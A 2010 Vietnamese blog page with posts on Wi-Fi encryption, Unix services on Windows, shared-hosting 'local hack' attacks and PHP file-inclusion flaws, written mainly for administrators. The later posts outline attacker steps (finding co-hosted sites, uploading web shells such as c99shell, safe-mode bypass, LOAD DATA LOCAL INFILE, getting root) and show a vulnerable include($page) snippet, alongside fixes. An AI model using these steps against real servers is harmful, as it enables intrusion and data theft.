Thứ Hai, 1 tháng 2, 2010

Bảo Vệ Mạng Không Dây ( Wi-Fi)

Posted by Unknown Thứ Hai, tháng 2 01, 2010, under | No comments

Bảo mật là vấn đề rất quan trọng và đặc biệt rất được sự quan tâm của những doanh nghiệp. Không những thế, bảo mật cũng là nguyên nhân khiến doanh nghiệp e ngại khi cài đặt mạng cục bộ không dây (wireless LAN). Họ lo ngại về bảo mật trong WEP(Wired Equivalent Privacy), và quan tâm tới những giải pháp bảo mật mới thay thế an toàn hơn.

 
IEEE và Wi-Fi Alliance đã phát triển một giải pháp bảo mật hơn là: Bảo vệ truy cập Wi-Fi WPA (Wi-Fi Protected Access) và IEEE 802.11i (cũng được gọi là "WPA2 Certified" theo Wi-Fi Alliance) và một giải pháp khác mang tên VPN Fix cũng giúp tăng cường bảo mật mạng không dây.

Theo như Webtorial, WPA và 802.11i được sử dụng tương ứng là 29% và 22%. Mặt khác, 42% được sử dụng cho các "giải pháp tình thế" khác như: bảo mật hệ thống mạng riêng ảo VPN (Vitual Private Network) qua mạng cục bộ không dây.
Vậy, chúng ta nên lựa chọn giải pháp bảo mật nào cho mạng không dây?

WEP: Bảo mật quá tồi
WEP (Wired Equivalent Privacy) có nghĩa là bảo mật không dây tương đương với có dây. Thực ra, WEP đã đưa cả xác thực người dùng và đảm bảo an toàn dữ liệu vào cùng một phương thức không an toàn. WEP sử dụng một khoá mã hoá không thay đổi có độ dài 64 bit hoặc 128 bit, (nhưng trừ đi 24 bit sử dụng cho vector khởi tạo khoá mã hoá, nên độ dài khoá chỉ còn 40 bit hoặc 104 bit) được sử dụng để xác thực các thiết bị được phép truy cập vào trong mạng, và cũng được sử dụng để mã hoá truyền dữ liệu.

Rất đơn giản, các khoá mã hoá này dễ dàng bị "bẻ gãy" bởi thuật toán brute-force và kiểu tấn công thử lỗi (trial-and-error). Các phần mềm miễn phí như Airsnort hoặc WEPCrack sẽ cho phép hacker có thể phá vỡ khoá mã hoá nếu họ thu thập đủ từ 5 đến 10 triệu gói tin trên một mạng không dây. Với những khoá mã hoá 128 bit cũng không khá hơn: 24 bit cho khởi tạo mã hoá nên chỉ có 104 bit được sử dụng để mã hoá, và cách thức cũng giống như mã hoá có độ dài 64 bit nên mã hoá 128 bit cũng dễ dàng bị bẻ khoá. Ngoài ra, những điểm yếu trong những vector khởi tạo khoá mã hoá giúp cho hacker có thể tìm ra mật khẩu nhanh hơn với ít gói thông tin hơn rất nhiều.
Không dự đoán được những lỗi trong  khoá mã hoá, WEP có thể được tạo ra cách bảo mật mạnh mẽ  hơn nếu sử dụng một giao thức xác thực mà cung cấp mỗi khoá mã hoá mới cho mỗi phiên làm việc. Khoá mã hoá sẽ thay đổi trên mỗi phiên làm việc. Điều này sẽ gây khó khăn hơn cho hacker thu thập đủ các gói dữ liệu cần thiết để có thể bẽ gãy khoá bảo mật.

Giải pháp tình thế: VPN (Vitual Private Network) Fix
Nhận ra sự yếu kém của WEP, những người sử dụng doanh nghiệp đã khám phá ra một cách hiệu quả để bảo vệ mạng không dây WLAN của mình, được gọi là VPN Fix. Ý tưởng cơ bản của phương pháp này là coi những người sử dụng WLAN như những người sử dụng dịch vụ truy cập từ xa.
Trong cách cấu hình này, tất các những điểm truy cập WLAN, và cũng như các máy tính được kết nối vào các điểm truy cập này, đều được định nghĩa trong một mạng LAN ảo (Vitual LAN).  Trong cơ sở hạ tầng bảo mật, các thiết bị này được đối xử như là "không tin tưởng". Trước khi bất cứ các thiết bị WLAN được kết nối, chúng sẽ phải được sự cho phép từ thành phần bảo mật của mạng LAN. Dữ liệu cũng như kết nối của các thiết bị sẽ phải chạy qua một máy chủ xác thực như RADIUS chẳng hạn... Tiếp đó, kết nối sẽ được thiết lập thành một tuyến kết nối bảo mật đã được mã hoá bởi một giao thức bảo mật ví dụ như IPSec, giống như khi sử dụng các dịch vụ truy cập từ xa qua Internet.

Tuy nhiên, giải pháp này cũng không phải là hoàn hảo, VPN Fix cần lưu lượng VPN lớn hơn cho tường lửa, và cần phải tạo các thủ tục khởi tạo cho từng người sử dụng. Hơn nữa, IPSec lại không hỗ những thiết bị có nhiều chức năng riêng như thiết bị cầm tay, máy quét mã vạch... Cuối cùng, về quan điểm kiến trúc mạng, cấu hình theo VPN chỉ là một giải pháp tình thế chứ không phải là sự kết hợp với WLAN.

Giải pháp bảo mật bằng xác thực

Một sự thật là khi đã khám phá ra những lỗi về bảo mật trong mạng LAN không dây, ngành công nghiệp đã phải tốn rất nhiều công sức để giải quyết bài toán này. Một điều cần ghi nhớ là chúng ta cần phải đối diện với 2 vấn đề: xác thực và bảo mật thông tin. Xác thực nhằm đảm bảo chắc chắn người sử dụng hợp pháp có thể truy cập vào mạng. Bảo mật giữ cho truyền dữ liệu an toàn và không bị lấy trộm trên đường truyền.

Một trong những ưu điểm của xác thực là IEEE 802.1x sử dụng giao thức xác thực mở rộng EAP (Extensible Authentication Protocol). EAP thực sự là một cơ sở tốt cho xác thực, và có thể được sử dụng với một vài các giao thức xác thực khác. Những giao thức đó bao gồm MD5, Transport Layer Security (TLS), Tunneled TLS (TTLS), Protected EAP (PEAP) và Cisco's Lightweight EAP (LEAP).
Thật may mắn, sự lựa chọn giao thức xác thực chỉ cần vài yếu tố cơ bản. Trước hết, một cơ chế chỉ cần cung cấp một hoặc 2 cách xác thực, có thể gọi là sự xác thực qua lại (mutual authentication), có nghĩa là mạng sẽ xác thực người sử dụng và người sử dụng cũng sẽ xác thực lại mạng. Điều này rất quan trọng với mạng WLAN, bởi hacker có thể thêm điểm truy cập trái phép nào đó vào giữa các thiết bị mạng và các điểm truy cập hợp pháp (kiểu tấn công man-in-the-middle), để chặn và thay đổi các gói tin trên đường truyền dữ liệu. Và phương thức mã hoá MD5 không cung cấp xác thực qua lại nên cũng không được khuyến khích sử dụng WLAN.

Chuẩn mã hoá 802.11i hay WPA2
Một giải pháp về lâu dài là sử dụng 802.11i tương đương với WPA2, được chứng nhận bởi Wi-Fi Alliance. Chuẩn này sử dụng thuật toán mã hoá mạnh mẽ và được gọi là Chuẩn mã hoá nâng cao AES (Advanced Encryption Standard). AES sử dụng  thuật toán mã hoá đối xứng theo khối Rijndael, sử dụng khối mã hoá 128 bit, và 192 bit hoặc 256 bit.

Để đánh giá chuẩn mã hoá này, Viện nghiên cứu quốc gia về Chuẩn và Công nghệ của Mĩ, NIST (National Institute of Standards and Technology), đã thông qua thuật toán mã đối xứng này. Và chuẩn mã hoá này được sử dụng cho các cơ quan chính phủ Mĩ để bảo vệ các thông tin nhạy cảm. Nếu muốn biết chi tiết về cách làm việc của thuật toán Rijndael, bạn có thể ghé thăm http://en.wikipedia.org/wiki/Rijndael

Trong khi AES được xem như là bảo mật tốt hơn rất nhiều so với WEP 128 bit hoặc 168 bit DES (Digital Encryption Standard). Để đảm bảo về mặt hiệu năng, quá trình mã hoá cần được thực hiện trong các thiết bị phần cứng như tích hợp vào chip. Tuy nhiên, rất ít card mạng WLAN hoặc các điểm truy cập có hỗ trợ mã hoá bằng phần cứng tại thời điểm hiện tại. Hơn nữa, hầu hết các thiết bị cầm tay Wi-Fi và máy quét mã vạch đều không tương thích với chuẩn 802.11i.
WPA (Wi-Fi Protected Access)
Nhận thấy được những khó khăn khi nâng cấp lên 802.11i, Wi-Fi Alliance đã đưa ra giải pháp khác gọi là Wi-Fi Protected Access (WPA). Một trong những cải tiến quan trọng nhất của WPA là sử dụng hàm thay đổi khoá TKIP (Temporal Key Integrity Protocol). WPA cũng sử dụng thuật toán RC4 như WEP, nhưng mã hoá đầy đủ 128 bit. Và một đặc điểm khác là WPA thay đổi khoá cho mỗi gói tin. Các công cụ thu thập các gói tin để phá khoá mã hoá đều không thể thực hiện được với WPA. Bởi WPA thay đổi khoá liên tục nên hacker không bao giờ thu thập đủ dữ liệu mẫu để tìm ra mật khẩu. Không những thế, WPA còn bao gồm kiểm tra tính toàn vẹn của thông tin (Message Integrity Check). Vì vậy, dữ liệu không thể bị thay đổi trong khi đang ở trên đường truyền.

Một trong những điểm hấp dẫn nhất của WPA là không yêu cầu nâng cấp phần cứng. Các nâng cấp miễn phí về phần mềm cho hầu hết các card mạng và điểm truy cập sử dụng WPA rất dễ dàng và có sẵn. Tuy nhiên, WPA cũng không hỗ trợ các thiết bị cầm tay và máy quét mã vạch. Theo Wi-Fi Alliance, có khoảng 200 thiết bị đã được cấp chứng nhận tương thích WPA.

WPA có sẵn 2 lựa chọn: WPA Personal và WPA Enterprise. Cả 2 lựa chọn này đều sử dụng giao thức TKIP, và sự khác biệt chỉ là khoá khởi tạo mã hoá lúc đầu. WPA Personal thích hợp cho gia đình và mạng văn phòng nhỏ, khoá khởi tạo sẽ được sử dụng tại các điểm truy cập và thiết bị máy trạm. Trong khi đó, WPA cho doanh nghiệp cần một máy chủ xác thực và 802.1x để cung cấp các khoá khởi tạo cho mỗi phiên làm việc.

Trong khi Wi-Fi Alliance đã đưa ra WPA, và được coi là loại trừ mọi lỗ hổng dễ bị tấn công của WEP, nhưng người sử dụng vẫn không  thực sự tin tưởng vào WPA. Có một lỗ hổng trong WPA và lỗi này chỉ xảy ra với WPA Personal. Khi mà sử dụng hàm thay đổi khoá TKIP được sử dụng để tạo ra các khoá mã hoá bị phát hiện, nếu hacker có thể đoán được khoá khởi tạo hoặc một phần của mật khẩu, họ có thể xác định được toàn bộ mật khẩu, do đó có thể giải mã được dữ liệu. Tuy nhiên, lỗ hổng này cũng sẽ bị loại bỏ bằng cách sử dụng những khoá khởi tạo không dễ đoán (đừng sử dụng những từ như "PASSWORD" để làm mật khẩu).

Điều này cũng có nghĩa rằng kĩ thuật TKIP của WPA chỉ là giải pháp tạm thời , chưa cung cấp một phương thức bảo mật cao nhất. WPA chỉ thích hợp với những công ty mà không không truyền dữ liệu "mật" về những thương mại, hay các thông tin nhạy cảm... WPA cũng thích hợp với những hoạt động hàng ngày và mang tính thử nghiệm công nghệ.

Kết luận

Trong khi sử dụng VPN Fix qua các kết nối WLAN có thể là một ý tưởng hay và cũng sẽ là một hướng đi đúng. Nhưng sự không thuận tiện cũng như giá cả và tăng lưu lượng mạng cũng là rào cản cần vượt qua. Sự chuyển đổi sang 802.11i và mã hoá AES đem lại khả năng bảo mật cao nhất. Nhưng các tổ chức, cơ quan vẫn đang sử dụng hàng nghìn những card mạng WLAN không hỗ trợ chuẩn này. Hơn nữa AES không hỗ các thiết bị cầm tay và máy quét mã vạch hoặc các thiết bị khác... Đó là những giới hạn khi lựa chọn 802.11i.
Sự chuyển hướng sang WPA vẫn còn là những thử thách. Mặc dù, vẫn còn những lỗ hổng về bảo mật và có thể những lỗ hổng mới sẽ được phát hiện. Nhưng tại thời điểm này, WPA là lựa chọn tốt.

Sử Dụng Windows Cho Dịch Vụ Linux

Posted by Unknown Thứ Hai, tháng 2 01, 2010, under | No comments

Sớm hay muộn thì mỗi người quản trị cũng thấy rằng anh ta muốn một điều là có thể chạy các chương trình ứng dụng bằng nhiều hệ điều hành trên đồng thời một máy và sau đó cố gắng để tìm ra một giải pháp để làm được điều đó.

Có thể bạn thích sử dụng Microsoft Exchange nhưng bạn vẫn muốn có được các công cụ e-mail mã nguồn mở giống như SpamAssassin hay fetchmail. Hoặc có thể bạn đang sử dụng các ứng dụng Unix cho các dịch vụ mạng, nhưng bạn lại thực sự muốn chạy chúng dưới Windows để bạn có thể tích hợp chúng thành toàn bộ mô hình bảo mật mạng của bạn. Trong bất kỳ trường hợp nào bạn cũng mong muốn có thể chạy các chương trình tốt từ các hệ điều hành.

Trong trường hợp của tôi, tôi đã thực hiện giải pháp này khi đang nâng cấp một ứng dụng cũ và tôi đã mắc một lỗi trong việc mua một bo mạch chủ mới của Intel mà vẫn không thích hợp với sự hỗ trợ của driver Linux. Nếu tôi sử dụng hệ thống này thì nó có thể chạy được Windows, nhưng hầu hết các phần mềm của tôi trên hệ thống này chỉ được thiết kế cho Unix.
Giải pháp thông thường với tình trạng này là bắt buộc bản thân bạn phải chọn một platform bằng cả các danh sách chi tiết mang nặng tinh lợi và hại cho mỗi hệ điều hành và cả việc sử dụng các kỹ thuật tiến bộ đã được xác nhận và sau đó phát triển với các công cụ giúp ích có sẵn. Nhưng lý do bạn gặp tình trạng này là bởi vì bạn muốn sử dụng các ứng dụng từ các platform để phát triển hầu hết các ứng dụng luân phiên nghĩa là sử dụng cái nào tốt hơn, là tối ưu.

Một cái nữa ở đây có thể làm được đó là có thể chạy nhiều hệ thống song song hay sử dụng kỹ thuật ảo để chạy nhiều platform trên hệ thống đơn. Có một thuận lợi khi sử dụng phương pháp này là sẽ đem lại giá thành thấp đỡ tốn chi phí cho cả hai loại hệ điều hành. Mặc dù vậy cũng có những vấn đề phát sinh do người dùng sử dụng các phương pháp khác nhau trong các lĩnh vực khác nhau.

Nhưng có một lựa chọn khác mà không phải bất kỳ ai cũng biết đó là để chạy các ứng dụng Unix của bạn dưới Windows bằng việc sử dụng Posix, dịch vụ của Microsoft cho Unix. Theo mô hình này, hệ điều hành hoạt động thực là Windows trong khi hệ thống cung cấp Posix-compliant cho hệ điều hành. Các ứng dụng Unix cho rằng chúng đang sử dụng Unix thông thường, nhưng thực ra chúng đang sử dụng tài nguyên Windows.

Hình vẽ này sẽ giải thích rõ ràng hơn. Nó sẽ rất dài nhưng chỉ cần một đoạn ngắn trên màn hình cũng giúp bạn hiểu nó nghĩa như thế nào.
Trong ví dụ này, một người dùng Windows đã vào được Windows XP thông qua cấu trúc bash cục bộ bằng việc sử dụng Posix trong SFU. Môi trường nhìn trông khá giống với hệ thống Unix nhưng thực tế là Windows XP.

Posix cho Windows đã có trong một thời gian ngắn. Kỹ thuật này được gọi là Interix và được phát triển bởi công ty Softway Solutions đã sử dụng cùng với Windows NT. Microsoft có được công ty này vào mùa thu năm 1999 và sau đó kết hợp Interix với vài NFS khác và kỹ thuật NIS vào gói bán lẻ được gọi là các dịch vụ cho Unix 2.0 (cũng được biết đến như SFU). Bây giờ nó đã phát triển thành SFU v3.0 và SFU v3.5có thể download miễn phí (bạn có thể download tại đây).

Microsoft đang chuyển tiếp lại sản phẩm này bằng việc tích hợp nó vào Windows. Với thành phần Posix được đặt tên lại là Subsystem cho Unix Applications (SUA). Sự chuyển tiếp này bắt đầu với Windows Server R2 nhưng nó cũng là chiến lược đang hướng đến cho Vista. Việc ghi nhãn hiệu mới cũng biểu thị rằng SUA là bản viết lại của Posix – bao gồm sự hỗ trợ 64-bit platform, các giao diện Open Database Connectivity (ODBC), và sự tích hợp hơn với Microsoft Visual Studio. Nhưng với các ứng dụng user-space thì nó vẫn là Interix.

Về cơ bản, Posix ánh xạ các tài nguyên Windows vào môi trường Unix bằng việc cung cấp một sự lựa chọn “cá nhân” trong Windows thông qua một thiết lập các APIs và các tuyên bố giống Unix. Ví dụ, các account người dùng không được lưu trong file /etc/passwd truyền thống mà thay vì đó được truy cập thông qua các thư viện gọi giống như getpwnam và getpwuid. Sau đó Posix ánh xạ đến hệ thống xác nhận Windows thông qua SAM database API đã có.

Mô hình này cho phép sự xác nhận Windows lưu công việc liền mạch, không quan tâm đến lưu bản thân nó là một dữ liệu nhóm và người dùng cục bộ, một NT domain đã có, hay một Active Directory domain. Mặt xấu của vấn đề này là dữ liệu tài khoản người dùng bị giới hạn để có thể lưu những gì trong SAM database. Thành phần NIC server của SFU cung cấp cho Posix là có thể mở rộng cho Active Directory, nhưng những thuộc tính này lại không được sử dụng bởi vì Posix chỉ có thể làm việc được với SAM database API.

Tương tự như vậy, hệ thống file Posix khá đơn giản cho các file hệ thống của Windows, nó có thể chỉ sử dụng những gì mà Windows có thể cung cấp. Đường dẫn của các hệ thống file Unix được ánh xạ đến C:\SFU một cách mặc định mặc dù các thành phần khác của hệ thống file Windows có thể được truy cập thông qua biệt hiệu thiết bị. (ví dụ, đường dẫn của ổ C có thể được truy cập thông qua /dev/fs/C ).

Khi không có các định vị được gắn để thi hành thì chỉ có cách truy cập vào các hệ thống file từ xa bằng Posix là thiết lập một kết nối trong Windows. Ví dụ, nếu bạn cần sử dụng một chia sẻ SMB từ xa cho một thư mục gốc của người dùng thì bạn cần bảo đảm rằng tài nguyên phải được ánh xạ đến kí tự ổ đĩa bởi Windows trong suốt quá trình login cả bằng các thiết lập profile của người dùng và cả bằng việc sử dụng một kịch bản login. (Điều này bạn có thể xem trên hình đã cho ở trên. Nó thể hiện thư mục gốc của người dùng ánh xạ đến Z: hoặc /dev/fs/Z trong Posix). Đây cũng có thể là các yếu điểm khác của sự tích hợp trong một vài trường hợp bởi vì thuộc tính thư mục gốc của người dùng cũng được sử dụng cho thư mục gốc Posix của người dùng. Bạn mắc kẹt với UNC và các đường dẫn kĩ tự ổ đĩa cho thư mục gốc SFU trong khi các hệ thống từ xa có thể sử dụng các điểm và các đường dẫn NFS.
Windows và Posix cũng chia sẻ một môi trường lệnh chung, vì vậy bạn có thể gọi Windows từ bên trong Unix shell đơn giản bằng việc gọi thi hành giống như bạn sẽ từ bất kỳ một dấu nhắc lệnh nào. Đổi lại cũng như vậy như là việc sử dụng “1s” để gọi thư mục kiểu Unix bằng cách liệt kê từ bên trong trình lệnh CMD. Nhưng nếu bạn cần toàn bộ Posix (bao gồm việc ánh xạ các file và tương tự như vậy) thì bạn cần phải sử dụng lệnh POSIX.EXE như load đầu vào cho lệnh kiểu Unix để tạo một môi trường đầy đủ.

Một vùng không kết nối ở đây là trong các dịch vụ nền: Posix bao gồm các kịch bản khởi động bản thân nó /etc/init.d và lịch trình cron hoàn toàn độc lập với dịch vụ Windows và lịch trình nhiệm vụ. Sự thử nghiệm thể hiện rằng là hoàn toàn có thể khởi chạy một vài dịch vụ Unix như các dịch vụ Windows giả mạo bằng việc sử dụng tiện tích "instsrv" từ Windows Resource Kit và "psxrun" (POSIX.EXE với tháo bỏ các chức năng I/O kết cuối) mặc dù đây là cách hack thô thiển nhất. Sẽ rất tốt nếu Microsoft có thể tìm được một wApart từ các thành phần cơ bản. SFU cũng bao gồm các điểm của các tiện ích Unix cũ cũng như các công cụ mới cần thiết cho biên dịch những lệnh mới bằng các công cụ GNU giống như geegmake. Màn hình dưới đây thể hiện nội dung của thư mục /bin trong cài đặt mặc định và một vài update.
Phụ thuộc vào bạn sử dụng SFU hay SUA mà các công cụ sẽ thực hiện gói cài đặt trực tiếp (SFU) hay sẽ dowload từ kho của Microsoft như một phần của quá trình cài đặt.

Interop Systems, một công ty được thành lập bởi các nhân viên gốc của Softway Systems cũng duy trì các port của một vài ứng dụng mã nguồn mở. Một vài gói có thể update đơn giản các tiện ích của SFU và SUA.c Nhưng Interop Systems lại duy trì các port khác với các ứng dụng chính giống như OpenSSH và Apache… Interop Systems tính một lần lệ phí là 20$ cho việc truycập đến các kho lưu trữ của nó.

Bạn cũng có thể thử tại các ứng dụng port bằng việc sử dụng các công cụ phát triển (hay các phiên bản update từ Interop Systems). Theo kinh nghiệm của chúng tôi, điều này có thể làm cho một vài thứ trở lên dễ dàng trong khi các ứng dụng khác là rất khó khắn với nó. Nói chung, nếu tarball nguồn sử dụng kịch bản GNU configure hỗ trợ Interix như một platform và ứng dụng không muốn làm việc trực tiếp với các tài nguyên Unix rõ ràng như /etc/passwd thì bạn có một cơ hội tốt để biên dịch thành công ứng dụng mặc dù nó vẫn không chạy. Nếu ứng dụng được viết đến các platform đích rõ ràng và nó không hỗ trợ cho Interix như một target thì bạn có thể không có được nó trừ khi bạn tốn nhiều ông sức để hack code.

Như ví dụ mẫu ở trên, chúng tôi có thể có được phiên bản mới nhất của Berkeley DB để biên dịch và chạy không có vấn đề gì. Chúng tôi cũng có thể có được SpamAssassin và các modul hỗ trợ khác để biên dịch và chạy (bao gồm Net::LDAP, mặc dù chúng tôi phải nâng cấp Perl từ Interop Systems). Vài modul của Perl khác sẽ không dịch hay sẽ không qua giai đoạn "make test". Khi chúng tôi không có được các thư viện CMU SASL để biên dịch, trong khi đó UW IMAPD và Cyrus IMAP lại được viết cho các platform cụ thể mà không hỗ trợ cho Interix. Vì vậy chúng tôi không thể biên dịch được với chúng.

Ở đây chúng tôi có hai ứng dụng Unix quan trọng mà chúng tôi thực sự cần cho hệ thống này là OpenSSH và Squid, và chúng tôi đã dễ dàng sử dụng các dịch vụ Windows cho các thứ ứng dụng khác. Trong vài trường hợp, giống như quản lý máy in chúng tôi đã sai lệch đôi chút với các ứng dụng Windows. Khi OpenSSH và Squid là có sẵn từ Interop Systems thì nó thực sự là dễ dàng. Ngắn gọn hơn là chúng tôi có thể chạy các ứng dụng mã nguồn mở tốt dưới Windows như chúng vẫn từng chạy trên Unix, và đây là một lợi ích từ việc tích hợp chặt chẽ với môi trường Windows.

Local hack và cách phòng tránh

Posted by Unknown Thứ Hai, tháng 2 01, 2010, under | No comments

Bài này viết với mục đích để các quản trị và các bạn làm bảo mật hiểu một cách rõ hơn về cách tấn local hack. Cách này tuy rằng phổ biến đã lâu nhưng tôi nghĩ rằng không chỉ ở Việt Nam mà rất nhiều server nước ngoài vẫn bị lỗi này, mà đôi khi có bug mới là có thể dùng lại được. Tôi cũng tin rằng rất nhiều bạn biết tấn công local nhưng không biết fix lỗi này như thế nào ?
Local hack là gì ?
Hiểu một cách nôm na là tấn công cục bộ. Cục bộ ở đây có nghĩa là trên cùng một máy chủ (server). Tấn công này được thực hiện như thế nào ?
Ví dụ ta cần tấn công site mục site1.com, nhưng sau khi phân tích tình hình thì thấy rằng việc tấn công trực tiếp site này là rất khó. Và cũng qua khảo sát ta biết được rằng trên server này có rất nhiều site khác. Ý tưởng : tấn công một site khác cùng server sau đó lấy site này làm bàn đạp tấn công site mục tiêu.
Có những loại hack local nào ? Tôi tạm thời chia làm 3 loại : Unix local, windows local, FTP local. Có lẽ rất nhiều bạn chỉ biết đến local hack trên Unix mà chưa biết đến 2 loại sau. Unix Local có nghĩa là máy chủ là Unix, tương tự đối với windows local, còn FTP local có nghĩa là local qua FTP.
Phần chung nhất của các loại trên là ở bước 1, bước tìm các site cùng server. Cái này có thuật ngữ chung là : Reverse IP. Ta có thể dùng tool sau để xác định các site cùng server :
http://www.domaintools.com/reverse-ip/ --> cái này mới thu phí rồi
http://www.seologs.com/ip-domains.html -> cái này có lợi thế là lưu cả tên miền Việt Nam, nhưng sô lượng ít hơn site trên
Sau khi làm xong bước trên, đến bước tìm site bị lỗi để dùng làm bàn đạp tấn công. Bước này thì ở các loại đã có sự phân hóa. Tôi sẽ trình bày riêng từng phần.
1. Unix local
Có lẽ bây giờ chỉ phổ biến site php-mysql trên Unix, nên tôi tập chung vào cái này. Cách tìm bug được tiến hành theo tư duy như sau :
- Nếu site đó sử sụng một loại mã nguồn đã được xác định, ví dụ dùng mã nguồn mở, thì đầu tiên là vào các site thông báo bug để kiểm tra xem bản code đang dùng có dính bug nào không. Có thể vào http://milw0rm.com/ hay http://www.securityfocus.com/ ... để tìm bug.
- Nếu ở bước trên không thành công hoặc code do họ tự phát triển thì cách duy nhất là phải tự ngồi mò xem. Lúc này dựa vào kinh nghiệm và khả năng của người hack là chính. Các lỗi hay được sử dụng và khá dễ để phát hiện : SQL injection, PHP file include, lỗi cài mặc định các ứng dụng như các bộ editor, lỗi không chứng thực phần upload file, upload file không filter, hoặc có filter + apache unknow extension,... rất nhiều lỗi có thể khai thác được. Tôi sẽ không đi vào chi tiết các lỗi này sử dụng và khai thác như thế nào.
Sau khi tìm ra lỗi, mục tiêu là phải upload được một con shell lên để có thể tiến hành tiếp bước sau. Việc upload được shell hay không phụ thuộc rất nhiều vào việc admin site đó CHMOD có tốt không. Các bạn có thể tham khảo bài : CHMOD là gì ? . Tôi giả sử là đã upload được shell rồi. Đến đây ta bắt đầu thử local sang site mục tiêu. Nếu Safe mode OFF và local dễ dàng thì không có gì đáng nói, site mục tiêu đã có thể xâm nhập. Nếu Safe mode ON và local gặp khó khăn, lúc này cần phải biết về các bug safe mode by pass. Các lỗi này tùy thuộc vào phiên bản của PHP và phụ thuộc vào các hàm có thể sử dụng có bị cấm hay không. Nếu không dùng PHP safe mode by pass ta có thể dùng LOAD DATA LOCAL INFINE, về cái này thì chị Yến đã có bài viết rồi.
Nếu tất cả các cách trên không được, ta xoay sang xem có khả năng get root - chiếm quyền kiểm soát server hay không, cái này tùy thuộc vào kernel của hệ điều hành và tùy thuộc vào phần mền cài trên máy chủ có dính bug overflow hay không ? ... Nói tóm lại là khi có shell rồi mỗi người có một cách tùy thuộc khả nẳng.
-->Cách fix ?
Để không bị dính các lỗi trên thì phải update phần mềm và config đúng (tôi sẽ nói chi tiết ở bài khác).
- Bật safe mode ON
- Trong php.ini Cấm các hàm nhạy cảm + các hàm có thể safe mode by pass (đòi hỏi admin phải cập nhật thông tin liên lục)
- Đối với virtual host thì tham số open_basedir là rất quan trọng, cần phải đặt tham số này đúng với thư mục web của từng site
- CHMOD kỹ cẩn thận (CHMOD như thế nào thì phải đọc)
- Các form upload cần phải lọc file...
- Trong file my.conf thêm dòng set-variable=local-infile=0 để tránh lỗi LOAD DATA LOCAL INFINE
2. Windows local
Cách tìm site lỗi về cơ bản là giống phần trên, chỉ khác ở đặc tính ngôn ngữ lập trình, cần phải xem xét kỹ hơn ở khía cạnh này.
Để có thể local được có các khả năng sau : phân quyền bị không tốt (thường là dùng chung group, group phân quyền không cẩn thận),server chưa cấm command execute. Tất cả các shell chạy trên windows đều có một đặc tính là sử dụng FSO (File System Object) - nếu cái này làm cẩn thận mà move cmd.exe đi thì không có cách gì chạy được cmd. Ở đây là còn chưa nói đến chương trình diệt virus rất nhạy cảm với FSO, nên rất dễ bị phát hiện.
-->Cách khắc phục ?
Phân quyền tốt : tốt nhất là nên dùng windows 2003 server, mỗi một site chạy một pool là tốt nhất, nhưng như thế tốn tài nguyên hơn. Account chạy web của mỗi site là riêng biệt và account chạy ASP.NET khác account chạy asp, php,... Việc set permission là cựu kỳ quan trọng, để làm tốt việc này, cần phải đọc thêm tài liệu và làm tốt các security check list của Microsoft. Lưu ý là không dùng Default pool để chạy.  Thường là các server riêng rất hay gặp lỗi này vì admin những server này chỉ cần cài cho chạy được là xong nhưng ngược lại server riêng thường chỉ chạy 1 vài site. Cái nguy hiểm chính là ở chỗ này, nếu mà server riêng bị tấn công khả năng mất quyền kiểm soát và mất mát dữ liệu nhiều là rất cao.
3. FTP local
Cái này nghe có vẻ lạ nhưng cách khai thác lại cực kỳ đơn giản, tôi lấy chính site của tôi làm VD. Vì lỗi này tôi đã thông báo và chỉ cho admin cách fix. (mới fix thôi nhé, không biết đã hết chưa, không khéo chỉ fix mỗi acc của tôi, hôm sau lỗ source là toi happy)
Trên hình bạn đã nhìn thấy rồi đó, cái FTP trên là tôi login vào acc FTP của tôi, nhưng tôi có thể vào tất cả các FTP khác cùng server.
Vậy lỗi ở đâu ? Lỗi có thể do 2 khả năng :
- Tham số Fix Home dir (ko nhớ rõ) không được set
- Tất cả các user FTP chung group và group này có quyền đối với tất cả các thư mục của các acc thành phần.
--> Cách fix ? như tôi trình bày như trên thì bạn đã biết fix rồi chứ 
Bài này tôi viết mang tính chất tổng hợp, 2 phần trên tôi không lấy hình minh họa vì nó khá phổ biến và có nhiều bài minh họa rồi. Nếu bạn cảm thấy chỗ nào cần chi tiết hơn tôi sẽ viết tiếp.

Tấn công File Inclusion

Posted by Unknown Thứ Hai, tháng 2 01, 2010, under | No comments

Trong vấn đề bảo mật web, kiểu khai thác lỗi File Include là một trong những lỗi nguy hiểm nhất. Lỗi này đã được biết đến từ lâu song hiện nay vẫn cực kỳ phổ biến. Vậy lỗi này như thế nào ? Vì sao bị lỗi ? Cách khai thác và phòng chống ra sao ?
Kiến thức bạn nên trang bị để hiểu bài này sâu hơn:
  • Lập trình PHP
  • Cơ bản về Apache
  • Cơ bản về Linux
Include theo tiếng Việt tạm dịch là bao gồm. Trong lập trình PHP có lệnh là include, require, require _ once, include _ once cho phép file hiện tại gọi đến một file khác.
Tùy thuộc vào mức độ bảo mật của server, kẻ tấn công có thể include file trên chính máy chủ đó (include local) hay include đến một file ở máy khác (include remote). Mục đích của kẻ tấn công là chạy được các hàm hệ thống và thu thập các thông tin nhạy cảm của hệ thống. Tất cả công việc trên kẻ tấn công có thể đạt được khi chạy được web shell (hay còn gọi là web hack tool) như c99shell, r57shell, …
Kẻ tấn công có web shell trong tay sẽ đọc được tất cả các file trong website đang chạy shell đó. Nếu server kém bảo mật thì kẻ tấn công có thể đọc được file của toàn bộ hệ thống, file của các website khác trên cùng máy chủ đó. Lỗi này hay được tấn dụng để tấn công local hack : kiểu tấn công máy chủ, website qua một site bị lỗi trên máy chủ. Nếu có quyền ghi, tất cả các file có thể bị thay đổi: deface trang chủ, chèn mã độc để thu thập thông tin đăng nhập, ẩn dấu backdoor để lần sau vào tiếp,… Kẻ tấn công cũng có thể lấy thông tin truy nhập cơ sở dữ liệu (database) qua file cấu hình của website, sau đó truy nhập vào cơ sở dữ liệu : ăn trộm dữ liệu, xóa, thay đổi dữ liệu,… Trong trường hợp này, cơ sở dữ liệu là MySql cho phép sử dụng hàm loadfile, thì kẻ tấn công có thể tận dụng để đọc file từ hệ thống và file của các site khác qua MySql bằng lệnh LOAD DATA LOCAL INFILE.
Ví dụ đoạn mã PHP include file:
<?php
include("config.php");
?>
Khi khai thác kẻ tấn công có thể include trực tiếp như trên hoặc có thể include một cách mềm dẻo như sau:

<?php
include($page);
?>
Khi đó nếu tham số register_globals trong file php.ini được đặt On thì biến $page sẽ là biến toàn cục, có thể gọi đến nó từ bất kì trang nào.
Nếu biến $page được sử dụng như sau: $ _ GET['page'], $ _ POST['page'], $ _ REQUEST['page'] hoặc $_COOKIE['page']
Khi đó $page sẽ có thể được gọi từ trình duyệt để include hoặc đọc file.
Ví dụ đọc file test.html : index.php?page = test.html
Hình 1. Include file từ server khác

